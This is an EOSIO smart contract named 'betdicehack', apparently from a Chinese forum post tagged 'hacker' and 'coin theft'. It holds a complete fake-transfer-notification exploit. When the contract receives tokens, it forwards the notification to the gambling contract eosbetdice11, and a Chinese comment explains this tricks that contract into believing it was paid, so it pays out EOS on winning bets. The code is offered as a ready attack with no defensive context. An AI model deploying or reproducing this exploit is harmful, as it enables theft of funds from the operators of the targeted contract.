#include <eosiolib/eosio.hpp>
#include <eosiolib/print.hpp>
#include <eosiolib/asset.hpp>
#include <eosiolib/types.hpp>
#include <eosiolib/action.hpp>
#include <eosiolib/symbol.hpp>
#include <cstring>

using namespace eosio;
using namespace std;

#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \
    void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
        auto self = receiver; \
        if( action == N(onerror)) { \
            /* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \
            eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \
        } \
        if((code == N(eosio.token) && action == N(transfer)) ) { \
            TYPE thiscontract( self ); \
            switch( action ) { \
                EOSIO_API( TYPE, MEMBERS ) \
            } \
         /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
        } \
    } \
} \

class betdicehack: public eosio::contract {
  public:
    using contract::contract;

    /// @abi action 
    void transfer(account_name from, account_name to, asset quantity, string memo) {
		if (from == _self || to != _self)
		{
		  return;
		}
                // 这一句是关键,只要往该合约transfer就会自动通知到eosbetdice11合约,导致BET以为是transfer到自己身上,于是按照正常逻辑如果赢了就返EOS
		require_recipient(N(eosbetdice11));
    }
};

EOSIO_ABI_EX( betdicehack, (transfer) )

  • EOS

    第三代区块链到来了?赶紧学习 EOS 智能合约吧

    3 引用 • 3 回帖
  • 智能合约

    智能合约(英语:Smart contract )是一种旨在以信息化方式传播、验证或执行合同的计算机协议。

    20 引用 • 9 回帖
  • 黑客
    1 引用
  • 盗币
    1 引用
感谢    赞同    分享    收藏    关注    反对    举报    ...